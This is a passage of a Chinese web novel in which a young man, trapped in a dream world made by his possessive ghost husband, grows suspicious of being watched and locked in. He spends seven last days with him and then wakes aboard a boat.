枣芩像一艘小船,被一股一股热浪冲啊冲,他哪怕是第一次面对这样的海浪也没有害怕,也没有痛苦,可是眼泪还是忍不住滚落下来。 嘴巴也被堵住,说不出话。 他也有想过努力的去驾驶,可是面对这样的自然灾害,作为一个普通人最多也只能抵抗一会。 自己去努力好累呀。 没一会儿就累得浑身没有力气了。 枣芩坐在船上,在海面上颠簸不止。第一次出海的枣芩不知道正常时间是多久,自己是不是太弱了,哪怕是被海浪推着漂,也没多久就浑身汗涔涔湿淋淋。 红红粉粉。 大海似乎特别讨厌他这个小渔民,故意朝着他攻击,潮水猛烈的朝他涌过去,愈演愈烈,和眼泪混杂。 可恶的海妖怪却因为小渔民的声音更快活了。 最后一个大浪,直接把这艘小船给掀翻了,甚至甲板都颤抖着四分五裂,发出声破碎的哀鸣。 渔民坠入大海的怀抱…… 枣芩意识消失前最后一秒,脑海之中的念头是,他再也不想理宋平了。 他醒来的时候已经日上三竿,身体上并没有什么痛感,更多的是酸麻疲惫。 明明休息了一晚上,他还是浑身没有力气。 感觉自己被狗追着绕小岛跑了一圈似的。 但好在身上干干爽爽,没有什么怪异的黏腻感受,还有眼睛也很干涩,不是很舒服。 枣芩又趴了会,想要爬起来也没有力气,心里稍微妥协了一下,最后一次理宋平。 刚想喊宋平,他抬起头一下看到了窗户外站着个男人。 忽然之间闯入视线,把枣芩吓了一跳,眼睛都瞪大了。 看清人是谁后,那些害怕就瞬间转为了恼火。 枣芩凶巴巴对着窗户外的宋平,喊了声:“你站在那里干什么啊?” 但是因为浑身无力,哪怕他自己已经觉得很凶了,依旧色厉内荏,像是在撒娇。 宋平露出一个笑容,“老婆,我在给你做饭。” …… “那做好了吗?”枣芩问。 宋平点头,“好了。” 枣芩慢吞吞地坐起来,想要自己去下床,却因为意外的摩擦,眉心忍不住皱起来,脸上露出难受的表情,没忍住短促“啊、”了声。 他下意识抬眼看去自己想要求助的人。 宋平依旧站在原来的位置,好像都没有一点要进来帮帮他的意思。 昨天还抱他去洗脸。今天他虽然不疼,但也真的难受,而且宋平也有责任。 难道看不出他不舒服吗? 枣芩垂着乌暗睫毛,抿住嘴巴,身体酸酸的,心里也酸酸的。 本来的身体那些并不明显的不舒服,因为心理作用的加持下,变得愈发明显,忽然难受得厉害,都下不了床、穿不了鞋。 枣芩干脆一趴,也不想下去吃饭了。 像小孩一样的闹脾气行为,在并没有等待大人的反应之后,随即而来的就会是铺天盖地的委屈。 为什么不来抱他吃饭? 他今天睡了一天都没有吃饭快要饿死了。 很痛。 枣芩坐起来,抿着嘴巴,委屈的看了依旧站在窗外的宋平一眼。 宋平的额头忽然贴在窗玻璃上,一错不错盯着他,恨不得钻进来。 那怪异的表情让枣芩又被吓到。 可是比起那一点恐惧,委屈难过才是压倒性的。 他声音闷闷的喊:“宋平你干什么不进来?待在那里,跟个鬼一样吓唬我……” 在他说出这句话后,宋平几乎是瞬间推门而入,有些狼狈的来到了他的面前。 枣芩被着态度弄得,原本口头的话都被堵回去了。 只能看着面前焦急担忧的老实面庞,呆愣地说了一句,“你有病。” 宋平急切将他抱起来,枣芩趴在他肩膀上,眼眶微红,别着嘴巴不说话了。 “以后一醒来就叫我,记住了吗?”宋平在说这句话的时候,语气有着克制不住的强制意味,以及一些、慌乱。 枣芩懒得理他。 “别生气了。去吃饭好不好?”宋平声音放软,他顿了顿,承诺:“下次一定……第一时间进来抱芩芩。” 枣芩半闭着眼睛,感受着空荡荡的肚子,闷闷的“嗯”。 早饭依旧很对胃口,宋平的厨艺很好,其实枣芩很难说出什么地方宋平不好,除了今天早上的事情以外。 枣芩小口小口喝着黑米粥,视线朝门的方向瞥了眼,一眼望到了蔚蓝的海面,阳光照在大海上像撒了金粉。 他突然想,今天要不要出去玩玩,在家待着有点无聊。 “想出去玩?”宋平语气平静问。 枣芩回过神点点头,小声说:“嗯,总感觉有朋友在等我。” 随后放下碗,随口说了句:“在家挺无聊的。” 也没有事情干。 “无聊吗?”宋平立即接话,黑色瞳孔直勾勾看着枣芩。 木门忽的被一阵突如其来的强风关上,遮蔽门外的风景,把门内外隔绝成两个世界。 枣芩回头看去,听到宋平说:“船上还有些去大陆买的玩具,我等会去给你拿。” 玩具! 枣芩眼睛一亮,脸上的雀跃没有遮掩,双手握拳,“好,什么玩具?” “拿回来就知道了,你会喜欢。”宋平忽然站起身,笑着说:“我现在就去拿,乖乖在家等我回来。” 枣芩仰头,眼睛因为刺眼的阳光忍不住眯起来,“好。” 宋平走出大门前,还不忘回头说一句,“在家等我回来。” 这需要说两遍吗? 枣芩沉默了会,朝他大声说:“知道了!” 宋平这才满意的出去。 枣芩继续喝着粥,视线漫不尽心扫过对面宋平的位置,才发现宋平的位置没有粥,虽然放了一双筷子,他也从头到尾都没有动筷。 或许是提前吃了没等他。 没等几分钟,枣芩就忍不住起身。 宋平的船在海边,来回的距离并不近,哪怕脚程快些,大概也需要十来分钟。 这个时间足够枣芩出去溜达一圈,在他回来之前回来。宋平也肯定不知道他出去过了。 枣芩想到这里没忍住偷笑一下。 宋平那个笨蛋肯定以为他乖乖听话。 他起身就朝着紧闭的木门走去,一时不知道他应该去找哪个朋友。 想来想去也一通模糊,干脆决定瞎溜达一会。 身体上的酸麻,让他的脚步慢吞吞。刚靠近木门,他就隐隐发觉不对,步伐停在原地。 木门的缝隙很紧,并看不出来什么,但是木门下面与地面有一些空隙,而那仅有顶厘米的空隙,该是光渗进来的地方。 可此时,却有两块明显的阴影。 枣芩站在原地,呼吸放轻。 如果是朋友或者小岛上的人有事情来找他们,应该是敲门或者直接进来,而不是安安静静地站在门口。 …… 此刻在自己家,枣芩却不敢发出一点声音,现在宋平不在,他也不太敢直接开门问是谁,也不敢过去锁门。 就算他锁上门,对方如果发觉,想要冲进这老旧的木门,也不需要花费什么功夫。 风一吹,枣芩背后出了一层冷汗。 他后退半步,他此时此刻应该赶紧回到屋子里,然后把门反锁上。 枣芩的视线往上一抬,却猛地对上了什么东西。 木门靠近上方的位置裂开了一条一厘米宽的缝隙,是束状的。 而那条竖缝外面正是一只黑色的眼睛,正一眨不眨的盯着枣芩。 在意识到那是什么的瞬间,枣芩瞳孔紧缩,浑身失去力气,一下跌倒在地面上。 第45章 第 45 章 为你着迷 那只眼睛让枣芩瞬间如坠冰窟, 浑身发冷,一时之间无法控制自己,仿佛被抽走了灵魂。 木门从外面被推开, 宋平站在门口, 看不清表情。 高大的躯体遮挡住背后照进来的阳光, 在枣芩身前凝结出人形的阴影。 他快步来到枣芩身旁, 把他抱起来,随即侧身拍了拍他屁股上沾染的土尘。 像是什么事情都没有发生, 平静而若无其事的说:“坐在地上不干净。” 看着宋平, 毛骨悚然的感觉一点点爬上枣芩的脊背,他额前出了一层细细的冷汗, 嘴唇颤了颤。 宋平眉头轻皱,似乎被他看着有点困惑,反倒显得枣芩反应不正常。 枣芩吞咽口水,视线划过已经被打开的木门, 慢吞吞地反应过来,磕巴一下问:“你不是去拿玩具了吗, 怎么、怎么站在门口?” 宋平看了一眼门,又看向他,表情恍然。枣芩冰凉的脸被他的手摸着,他声音低沉, “被我吓到了?” 单薄的身体忽然被男人一拉, 抱住。 宋平语气带着明显的愧意,在他耳边解释,“我正打算去,出去才看见门上破了个洞,就看了看想怎么修一下。正好看到你朝门这边走, 就没忍住看了看……不过我知道,芩芩答应了我,是不会出去的。” 枣芩身体僵了瞬的同时,略微放下点心。 宋平又道:“老婆肯定只是想过去看一看,没想离开我们家出去。” …… 枣芩被抱进屋子里,到炕上放下,宋平让他把弄脏的衣服脱下来换一换。 哪怕他们现在是世上最亲密的关系,昨天晚上还做了那种事情,但枣芩依旧不可避免的害羞,雪白的耳朵尖红了一片。 他躲进被子里,把脏裤子换下来,放到炕边。 都没注意到,宋平在他认真换衣服的时候,在一旁的角落站着,幽深痴缠的望着他。 枣芩一定是想去找别的男人。 宋平淡淡挪开视线,只要稍微想到这些,他就感觉到自己的一呼一吸,都参杂着难以忍受的窒闷。 他闭了闭眼,要是整个世界真的只有他和枣芩,是多么幸福的一个世界。 宋平拿走了他的脏裤子,说是马上就去给他拿玩具。 枣芩看着他离开,慢吞吞扯着被子裹着自己的身体,怪异感充斥在他周围,但他又不知道到底是哪里奇怪。 宋平离开好几分钟,那种第六感般的感受才逐渐消退。 枣芩穿上宋平给他拿出来的新裤子,是之前穿过的一条在膝盖上方的短裤,他此时看着,似乎短了点。 但枣芩并没注意,他都已经成年了,应该也不会长身体。 他飞快套上,下了床。 心跳如擂鼓,随着他的行动再次敲击起来。 因为刚才的事情,他控制不住的开始怀疑,脑海中浮现他想象的画面。 宋平此时此刻是不是真的去拿玩具了,还是就站在木门外,安静地窥视着院中情形。 那个木门的裂缝处,是不是一只黑色的眼睛。 枣芩呼出口气,紧咬着自己的嘴唇,努力给自己勇气。 去看一眼,如果宋平真的在那里……他也不知道自己该怎么办。 他伸手去拉门,门却纹丝不动。枣芩怔了秒,去按门锁却发现根本按不动。 哪怕加大力度,也没有丝毫作用。 他脑中轰然一声,随即立刻弯着腰,去看门缝中间,睫毛止不住的颤。 ——门被从外面锁住了。 宋平把他锁在屋子里了。 他原本甚至都不知道这个门能锁。 枣芩在原地站了会,就回到炕上,再次用被子裹住自己,好像什么都没有发生过一样。只是比起之前,紧紧的没有一点空隙。 他有些烦躁的倒在枕头上,没过一会儿,就把自己的头也罩了进去。 “枣芩……” “你在梦里,不是真的……” “你是玩家,醒醒……” 枣芩眉心皱着,呼吸越发的粗重,胸脯一下下起伏。 像是在被拉扯,他的意识模糊又清晰,想起又忘记。 他不清楚自己到底是玩家还是岛民,也不知道如何选择,只能被动的被拉扯。 好像有两边的人在叫他。 “老婆,醒醒!” …… “做噩梦了?” 耳边的声音逐渐清晰,如同从海中钻出来的那瞬间般的清晰,在中央地带终于被拉向其中一边。 肩膀被轻轻摇晃,枣芩缓慢睁开眼睛,迟缓看向他,宋平的表情明显松懈下来。 枣芩脸上涔白一片,看起来像生了一场大病。意识也并不清晰。 他被宋平搂着抱起来,坐在对方腿上。枣芩力气没有恢复,胳膊都懒得抬起来,任由着宋平把脸埋进他脖颈间。 “你做噩梦了。”宋平不知道是在对他说,还是在对自己说,喃喃说:“梦里都是假的,不要怕,你已经醒过来了。” 像哄小孩一样,一句一句说了一大堆意思差不多的话。 枣芩恍恍惚惚,头软软的靠在他的肩膀上,几乎忘光了自己梦到的东西,只记得有人在叫他醒来,或许是在睡梦中听到了宋平说话。 他抿着唇,精神上的累让他身体也没有什么力气,好几分钟还恢复一些。 记忆随之连贯起来,他才想起自己睡前的事情。 “你把我关起来了。”枣芩回忆着,问:“你为什么关我?” 宋平嘴唇张了张,下颌线分明而生硬。 解释的并不多,直接道歉,“不小心磕上了,你生气了?芩芩,对不起。” 枣芩还没来得及说什么,话题被扯开。 宋平语气关切,“做什么噩梦了,出这么多汗,吓死我了,下次不会让你一个人待着了好不好?” 温柔的语气与怀抱,让刚从梦中挣扎出来的枣芩下意识多了一些依赖,他嘟嘟囔囔说“忘了。” 随即忽然想到什么,皱着脸,委屈又愤怒的埋怨,“都怪你。” 宋平也不生气,吻了吻他的脸颊,“都怪我,我错了。” 良好的认错态度,一点没缓解枣芩的委屈,他小声说,“肯定是你把我吓得做噩梦,你为什么在那里吓唬我?” 宋平愣了秒,“吓到了吗?” “废话。”枣芩耍起了小脾气:“你给我道歉。” 宋平垂眼看着他,老老实实道歉:“对不起我错了,我不应该站在门外面,也不应该不小心把门锁上,吓得芩芩做噩梦,都怪我,我真是该死。” 枣芩哼了声,看到枣芩心情好起来,他自己心下也跟着心情好。 擦过枣芩苍白脸上渗出的一层薄汗,连昔日都是红润唇瓣都泛着些白,他指关节嘎吱作响,眸光暗沉。 不明白为什么某些人可以那么没脸没皮的打扰他们。 他们两个明明只想开开心心的、过普通的日子。 · 宋平带回来的玩具堆在桌子上,其中一件吸引到了枣芩的注意,他立马过去把东西拿起来,捧在手里。 屏幕因为他的动作而亮起来。 枣芩怔在原地,又打量了下周围的环境,怎么看,这东西都和背景不搭。 “手机……?” 这东西不应该出现在这里才对。 宋平站在他身旁,见枣芩对这个东西饶有兴趣,唇角不禁勾了勾,“我说过你会喜欢。” 这个世界会是枣芩最满意的样子,他想要什么就会有什么。 枣芩也说不上哪里不对,他打开手机拨弄着,想要下载东西,下载的界面却是一片白。 他捣鼓着手机,嘟囔一句:“这里没有网,也没有信号啊。” “这里面没有吗?”宋平盯着那堆东西,眉头皱起。 …… 枣芩视线也跟着他看过去,呆滞片刻后,眼睛弯起来,觉得宋平真是个笨蛋。 “这里面怎么可能有信号啊,信号不是一个东西。” 说完,枣芩觉得更奇怪了,他在解释什么。 困惑问:“你不知道信号吗?” 他们俩出生在同一个地方,甚至宋平还会经常出海去大陆,见到一些先进的东西。 而自己从出生开始都没有离开过这个小岛,为什么会知道宋平不知道的东西。 怪异的感受接踵而来,隐秘的盘绕在他的心头。 宋平面色平静的开口:“老婆果然从带回来的书上看到了好多东西,就是可惜那本书丢了。” 枣芩翻看着手中崭新的手机,没有网络,手机除了拍个照以外,几乎什么也干不了,只能当作一个摆件。 他听着宋平的话,左耳朵进右耳朵出,心思不由得都放到了外面去。 他肯定是要出去的,这种想要出门的欲望在被两次遏制之后,变得越发强烈,强烈到成了他目前最想做的事。 可同时他也早感受到了宋平的态度,宋平不可能让他出去,总会有什么办法阻止他。 枣芩在想,自己该怎么办。 · 自从把那些乱七八糟,宋平几乎一个都不认识的玩具拿回来,枣芩乖的不像话,再也没有提出过一次想要出去的想法。 经常会拿着一个他说是“游戏机”的东西,毫无防备窝在宋平怀里,宽大的半袖穿在身上,露着大片柔嫩雪白的皮肤,专注的玩着上面的小游戏,睫毛都不动一下。 里面小格子做的火柴人,在枣芩的操作下蹦蹦跳跳,都显得格外可爱。 这些东西的奇怪之处宋平不是不知道,这个世界存在在枣芩的意识中,只要是他见过、想要的东西都能出现,只是他自己不会控制。 枣芩这样一个从小在岛上长大的小孩,该去哪里知道这些东西。 可宋平不在乎。 他什么都不在乎。他只在意他们能不能在一起。 他闭眼嗅闻枣芩发丝间的香味,今天洗头用的东西,依旧是他没有见过的。 洗发露的味道与他自己身上散发出来的气息,揉合在一起,让宋平着迷。 这几天去拿东西的时候,好几次他都不舍得离开,恶劣的站在门外墙边,听着院内的声响。 他有些狠心地想着,要是枣芩有一次走出屋子,他晚上就会故意欺负他,弄坏他,让他记住教训。 如果他走出大门,他就会从今天开始,彻底把门锁上。 哪怕枣芩恨他怨他也在所不惜,他会在别的地方,给枣芩当牛做马来补偿。 可是,他的宝贝老婆在他离开后,没有一次走出过屋子。 仿佛彻底地杜绝了出门的想法。 多么乖。 他在墙外控制不住的大笑,眼泪都快出来了,又怕枣芩会听到,只能憋着像个疯子一样。 回到家,他又变成了温柔老实的渔民丈夫。 夜里。 老婆非要自己掌舵,坐得比他高一点,头略微弯斜,上移。又松塌下去。 没一会又软着身子,露着大片雪白肩头,脆弱颤栗,趴在他肩膀上哼唧…… 偏偏还不让他来主动,把宋平折磨的又难受又爽,棒子跟糖一块给。他感觉自己像一个染了瘾的,忙含住枣芩湿软软的唇吮来缓解。 他希望时间永永远远的暂停。 枣芩洗完热水澡,莹润皮肉冒着热腾腾的水意,这个时间还不到他的睡觉时间。 宋平洗完就进了被子抱住他,香软满怀。 枣芩背对他玩游戏,玩了没一会儿,就把游戏机丢在旁边,也不说话,忽的小声叹了口气,把脸埋进被子里。 宋平慌了瞬,把被子往下扯了扯,“怎么不玩了?” …… 被子里的声音闷闷的,尾音拖得老长,好一会儿才说:“我好无聊啊——” 宋平原本早就放松下的神经,再次紧绷起来,他看着被扔远的游戏机,“不喜欢了?” 他感受到被子里的身体转了个方向,很快他身前的位置,慢吞吞的露出一个毛茸茸的脑袋,以及两双琥珀色剔透水润的眼睛。 枣芩小幅度点点头,认同了他说的话。 宋平一瞬之间心中竟升起一种荒诞的无措感,感觉那个被厌弃的游戏机和自己没有什么区别。 可很快枣芩居然抓住了他的手。 宋平怔愣感受着,面前小男生的整张脸露出来,他眼睛瞪得圆圆的,浑身散发着一股充盈的气息。 他小心翼翼地开口:“我可以要个电视机吗?” 不是想出去,只是想要一个新的玩具。 他跟那个游戏机没有什么相似之处,他是枣芩的老公。 情绪挑起又落下,宋平浑身的温度都回到了自己身体内,被枣芩一句话就打乱的一切,又因为他的一句话恢复到原位。 他艰难扯着嘴角,揉了揉枣芩的发丝,“好,明天你醒来我就给你带回来了。” “嗯。”枣芩应了声。 随后忽然起身,凑到他脸颊落下一个吻,又立马钻回被子里,继续背对着他。 宋平呆滞片刻,有些黝黑的脸上,不可遏制的泛红。他瞳孔微颤,脸上似乎还残留着枣芩嘴唇的温度,都不敢去摸自己脸上被他碰过的地方。 关了灯,宋平把枣芩再次搂入怀中,听着他平稳安静的呼吸声,痴迷的嗅闻,每一处感官都被一种名为幸福的物质感染。 就连今夜的月似乎都格外的亮。 枣芩觉得人在紧张的时候是没有办法睡好觉的。 平时他都要睡到日上三竿的人,却在宋平出门离开的瞬间,睁开了清明的眼睛。 他安安静静地躺了一会,什么声音也没有听到,才快速地收拾好自己起身出门。 院内很安静,花朵肆意生长,只能听到潮水的声音。 枣芩步子缓慢,最近几次他打发宋平出去,宋平大概觉得他没有出去的想法了,放松了警惕。 他装作只是路过,漫不经心又十分刻意的朝大门的位置扫了一眼。 很好。 下面没有阴影,裂缝处也已经被修好。 宋平确实对他很好,但他不愿意被限制自由,也不可能因为对方的好就放低自己的底线。 枣芩一鼓作气,伸手拉开门。 外面空荡荡,只有远处翻腾的大海。 枣芩缓缓探出身子,飞快左右看了眼,两边也都没有人。 他长长舒了一口气,什么都来不及想,第一件事情就是抓紧时间跑。 不管是遇到谁,他只要先出来,跟外面的人说上一句话,起码让那种别扭的、仿佛这个世界上只有他们两个人的怪异感消失。 枣芩感觉自己跑出了几百米远,宋平就算发现了也一时抓不回他去。 才终于停下来在原地喘息,他脸颊因为运动而发红,腹部左侧也有点疼。 他抬眼看着面前通常会聚集一些人的路口,此时居然空无一人。 枣芩有点懵,现在这个时间段,岛上的人应该出来一起吃早饭唠嗑才对。 他困惑舔了下唇,独自站在安静的路口处,他转身走了几步,就近推开一家的门。 却什么也没有。 …… 枣芩从来没有见过这家人的院子,更无法想象他家是什么样子。 但肯定不会是现在一样,这种没有,不是什么都没看到,而是虚无。 推开门关上门,脑海中对于这个院子一点具体的印象都没有。 一种极其抽象的,在梦里才会有的感觉。 枣芩瞬间有些喘不上气,脑子越发混沌,他又推开一扇门,依旧是这种情况。 直到来到了一扇熟悉的门前,枣芩已经皮肤惨白,满头大汗。 他立即知道了这是宋莲莲龙保岐家,这个院子是具象的,可以看得到的。 ——也是他唯一一个在打开之前就知道是什么样子的院子。 · 这个世界一旦有不稳定性,宋平就能立刻察觉到。 宋平以最快的速度往家赶,他无法控制自己不往一些方面想,翻滚的灼热几乎将他的理智覆盖。 可当他回到家时,只看到了湿着额头、紧闭着眼睛的枣芩。 他忙不迭过去脸颊贴着他的额头,心里紧绷到快要断掉的弦立刻松懈了点,随即便是恨,他们又想把枣芩夺走。 宋平再次把枣芩从睡梦中弄醒,压抑着自己,学着枣芩喜欢的那个人,温声问:“又做噩梦了?” 枣芩半抬着眼眸望向他,眼底闪过一丝惊惧,又很快消失不见。 宋平一瞬间觉得他什么都知道了。 第46章 第 46 章 不能忘记我 可枣芩只是慢半拍点了点头, 又闭上了眼睛,乌暗睫毛也跟着垂下。 宋平呼吸放缓,伸手去摸枣芩的脸, 像沁了水的凉玉。枣芩察觉到, 就轻轻在他手心蹭了蹭, 像是很依赖。 宋平开口问:“做了什么梦?” 过了片刻, 枣芩似乎是在回想,好一会才含着未退的睡意, 嘟囔着糊弄, “不知道了…记不起来了。” 他翻了个身,手臂撑着身体坐起来, 眼睛在屋子内看了一圈。 抬眼问宋平,“你不是去拿电视机了嘛?” 宋平顿了顿,他太迫切想要回家查看状况,早就把电视机什么的抛之脑后了。 枣芩看到他的表情, 似乎明白了,一下像是蔫了的小苗, 都不太敢相信,“你忘记了……?” 眼看到枣芩的眼尾往下垂,摆出了不开心的样子。 宋平立即站起身,一刻不停道:“我现在去找。” 说着, 就转过身要出去, 只留一个宽阔后背给枣芩。 这么快。 枣芩嘴唇张了张,忙不迭下炕,他边穿鞋边喊住宋平,“你等等,我和你一起去。” 宋平脚步停在原地。 枣芩跟上去, 宋平却没有动,枣芩抬头撞进对方视线中,宋平语气沉沉,“你要出去?” 气息忽然变得森然。 枣芩被他漆黑的瞳孔盯着,没控制住吞咽口水。 若是他什么都没想起来,他大可以就这么忽略过去,可他已经想起来宋平死了,被这样盯着,就多少有点渗人。 “不然呢?我、就想跟着你一起去啊……”枣芩尽量保持着自己该有的反应。 可被宋平看着,声音忍不住变小,他生出点退缩之意,抿抿唇说:“那算了,我自己待着。” 他看起来有些可怜,又带着点委屈,看了眼宋平,瘪着嘴巴就要往回走。 手腕被抓住,宋平低沉嗓音软下,解释说:“我只是怕你出去不小心受伤,你想去的话走吧。” 宋平带他绕了一条小路,或许是怕走大路一个人遇不到被他发现异常。 一路上,宋平的表情看起来都还算正常,并没有察觉到他已经想起来了。 枣芩不免松了一口气,只除了手心有点湿,他边走着,悄悄把自己的手从宋平手中抽了出来。 宋平并没有阻拦,由着他的手像条小鱼一样溜走,仅仅只是看了他一眼。 男人的步子放慢些许,和走路慢吞吞的枣芩保持在同一个速度,不时看一眼他脚下的路况。 枣芩并没有注意到他投来的视线,他表面直视前方,脑中都是有关任务的思绪。 脚下的小路有些崎岖,路上还偶有几颗小石子挡路,枣芩踢走一颗,又遇到一颗。 空气有些安静,旁边的宋平不知道在想什么事情。 枣芩眼睛一转,深处划过几分狡黠,他若无其事的说:“你怎么不跟我说话?” 宋平回答:“你想说什么?” “无聊啊。”枣芩满脸写着,‘我是突然想到’,好奇的问:“你家里怎么没有你父母的照片啊?” 岛上的正常人家里都像龙保岐家一样,会把家中逝者的遗相挂着家中,而宋平家确实没有,别说他的父母,连他自己的都没有。 宋平没什么表情的回答,“放起来了。” “放起来了?你们关系不好吗?”枣芩追问。 “还可以,只是人都死了,就没必要天天把照片摆着,对吗?” “啊、哦。”枣芩食指扣扣脸颊,感觉自己并没有问出有用信息,眉头忍不住皱了下。 随后十分僵硬的转移话题。 “过几天我得回老房子看看了,我爸妈其实给我留了好些东西都没有拿过来……你爸妈有给你留什么吗?” 枣芩都做好了准备他会避而不谈,可宋平却如实说了,“哪种?值钱的东西吗?” 他顿了顿:“有,很多。被我丢掉了。” 枣芩听到这个答案,愣在原地。 丢掉了? 肩膀两面都搭上手,在枣芩还在呆着的时候,被轻轻扭动。一只手臂从他左边伸过去,指着海面的一个方向。 宋平的声音从后面进入他的耳朵,“在那里的小岛上,一个空岛,丢在那里了。” 他自顾自地补充,“没有想把那东西当传家宝,也没有不想告诉你。” 宋平表情不对了许久,枣芩到此刻才终于反应过来不对劲。 “你要走了吗?” 海风夹杂着宋平的声音平静,像是在问一件很普通的事情。 可是转起头,枣芩却看到他淡漠到异常的脸上,是双深而透着绝望的眼睛,仿佛是一个知道自己濒死的绝症患者。 他知道了。 枣芩一瞬间不知道自己该说什么,没有像他设想的。 宋平没有愤怒的对他做什么,也没有伤心到什么地步,只问他是不是要走了。 枣芩脑子乱乱的,什么话也没应,捏着自己手指,垂下眼眸。 “芩芩。” 一种悲哀充斥宋平的每一处脉络,他看着眼前这个仿佛真实却什么都没有的世界,他甚至没有东西可以留下枣芩。 哪怕千防万防,还是不可能防住。 一个漏洞百出的世界,时间一长很难不被发现。他只是没想到,一切会来的这么快。 快到他还没有办法接受。 好不容易的到来的幸福,如绚烂烟花转瞬即逝,马上又要消失不见。 他只是想抱着枣芩,只是想和他在一起好好的生活。 一切本就是他的生活,是他所拥有的,他却忽然被谋杀。 好不容易远离那些人,构造出一个完美的、只有他们两个人的新世界。却也即将坍塌。 宋平的视线一刻没离开枣芩,枣芩轻轻咬着唇,没看他。 “芩芩、”他出声才发现自己的声音有控制不住的哑。 宋平缓缓将枣芩荏弱身体嵌进自己怀中,紧紧的,仿佛要与他融为一体。 枣芩葱白的手从他背上升起,又落回去。 宋平闭了闭眼,转瞬间,晦暗难堪的想法闪过,又被他驱逐。 他喉结往下压了压,稳住自己的声音,保持着自己的理智,轻声问:“五天,不,七天好不好?” 【不许答应他。七天时间很宝贵,你会耽误很多现实世界的事情。】系统出声阻止。 自枣芩清醒后,他们就可以自由交流了。 枣芩小幅度点点头,又怕宋平没发觉,闷闷“嗯”了声,又说:“好。” 想要回抱宋平的瞬间,枣芩承认那么一刻,他为宋平犹豫了。 抱着他的高大躯体细微的颤,枣芩不知道怎么,自己的心情并没有能离开这个梦境的喜悦,反而像是下雨天被雨淋过的窒闷。 系统有些无力:【……】 这七天的每一天,和之前的日子没有什么太大的区别。 可以看得出,在宋平眼中,之前普通到不能再普通的生活,就是他最想要的生活。 只除了少了一些伪装,不再装着出门然后躲在门外,不再装模作样的吃饭,也同样暴露出了他的本性。 两个人前几天几乎没下过炕。 宋平将枣芩搂在怀中,手臂像蟒蛇似的圈着他。盖着一床厚被子,外面的天气变成了冬日的鹅毛大雪,屋子里却是暖烘烘的。 美其名曰,他没有和枣芩在冬天一起睡在被窝里,他很想。 枣芩被温暖包裹,只露着张泛红的脸蛋,他眼皮打架,睫毛一抖一抖,又快睡过去了。 嘴唇忽然被贴上,对方熟练的深入,舔舐。枣芩也乖巧的微张开一点唇缝,漏出来湿热的甜香。 枣芩伸着手臂去搂宋平的脖子。 这几天这套动作都快成了他的反射性动作。 但比起亲吻,宋平似乎更喜欢和他说话。 亲得多了,枣芩也不会像开始那样被亲的眼睛水汪汪,只会红着嘴唇,茫然地看他,似乎在问他怎么忽然停下来。 “你说说话。”宋平语气中透着点不安,他没有一刻忘记时间在一点一点变少。 枣芩愣了秒,声音含糊,迟钝问:“说什么?” 他收回搂在宋平脖颈白条条的手臂,钻回被子里窝着。 宋平很快跟上他,进了被子。 握着枣芩细白的手臂再次搭在自己脖颈上,他语气忽然像是在想象,眼睛看着枣芩闭着的眼睛,“说你喜欢什么,讨厌什么。说你想不想养小狗或者小猫,还是喜欢别的小动物。说……爱我。” 最后一句低的快要听不见,可是呼出的气体还是喷洒在枣芩的额侧。 为了醋包盘饺子。 枣芩缓缓睁开眼,看向宋平,还不甚清醒。宋平正看着他,好像一刻也舍不得挪开,眼睛上充斥着红血丝。 “说完你要睡觉。”枣芩提出要求。 宋平顿了秒,才说:“嗯。” 答应的很痛快,枣芩也以为说一句话而已没有那么难,可以真正到了要出口的时候,他才发觉自己从来没有说过这样的话。 枣芩磕绊又生涩,嘴巴张了好几下都没有说出来,他脸颊晕开微红,抬眼看着宋平,“我爱你。” 随即又迅速不好意思的要转身。 还没转过去,面前已经覆盖阴影,才刚刚被吻过的嘴唇再次被吻住。 宋平的动作变得慢而轻,温柔而眷恋,没多久枣芩就感觉自己脸上湿漉起来,可他眼中是干的。 在注定会分离的情况下,情事都多了几分极端与悲哀。 他好像是想通过这些,不让枣芩忘记他,因为他总会在枣芩咬着唇,涣散到快要不行的时候,在他耳边喘着气说:“不能忘记我。” 再逼迫枣芩答应。 这是全然属于他的七天。 枣芩或许不知道,随着梦境坍塌的还有宋平自己。 宋平也想过,或许说了枣芩会多一些怜悯,会多留些日子,可是同样也是更漫长的阵痛。 枣芩不可能不离开,他是一个活人,不能活在梦里。 还是因为自己的自私而存在的梦。 最后一天。 天气清朗,海面平静。 宋平已经察觉到了濒临崩坏的梦境。他依旧紧紧搂着枣芩,平静也像诅咒。他不大度,不会说什么让枣芩忘了他和别人好好生活。 他就是要不停地说:“你不要忘记我。” 这是他能做的,唯一和枣芩再有交集的方式了。 枣芩听着他再一次说这句话,鼻子忍不住酸酸的,他也不知道自己怎么了,忽然好委屈。 他两只手捧上宋平的脸,在宋平有些怔的表情下,吻上他的唇,轻轻碰了碰,承诺说:“嗯,不会忘记宋平。” · 耳边是近在咫尺、海浪不断拍打在船壁的声音。 枣芩头晕脑胀,艰涩的睁开双眼,眼前是一片蔚蓝的天空,隔一块有一片淡淡的云。 “终于醒了。” 枣芩分辨片刻,才想起来这是李聿的声音。 第47章 第 47 章 哥哥,我会听话的 有人把他扶起来, 靠坐在床头。 眼前是蓝海白浪,广阔海面。他茫然的发觉,他屁股下面是张床, 而这床却在船上, 正行驶在海面。 一瞬间他甚至以为自己还没醒, 直到面前出现了李聿那张薄凉的面容, 恍然间他觉得对方都有一点陌生。看了好几眼,才觉得熟悉起来。 他的梦里不可能有李聿。 李聿的额发被海风吹开, 露出底下浓黑的眼, 他没再说话,转而看向海面。 枣芩回了神, 视线一转,注意到就在他的床边不远处,居然还有一个人,全然没有意识, 倒在甲板上。 枣芩看着越发觉得眼熟,喃喃说:“阮秋白。” 因为身体长时间没有活动, 他站起来的时候腿都软了下,好在并没有跌回床上,他来到阮秋白身侧,诧异看着眼前的人。 阮秋白脸上那些可怖的印子已经消退, 没有留下一点痕迹。 可是他看起来受了很重的伤, 脸上惨白,嘴唇也同样没有一点血色,应该是晕过去了。 枣芩看向了唯一一个在场的人,两个人的视线撞在一起。 李聿猜到他在想什么,开口打断他的想法, “不是我,是你的鬼老公干的。” …… 枣芩表情怔住,因为这句话沉默了片刻。他提溜起阮秋白的胳膊,十分费劲的把他拖到床边。 阮秋白体型比他大一圈,枣芩细胳膊细腿的,皮肉跟嫩豆腐似的,也没干过什么活,拖着人这么几步路,嘴唇都咬紧了。 李聿见状,眉头忍不住皱起,自己过去把阮秋白扔上去,对方身体落在床上发出闷响。 枣芩胸膛起伏,终于忍不住问他:“我们这是要?” “离开这里。”李聿没有犹豫,看了眼床上快死了一样的阮秋白,眼中闪过一丝厌烦,自顾自的解释:“带着他,我们可以从他家多弄些钱。” 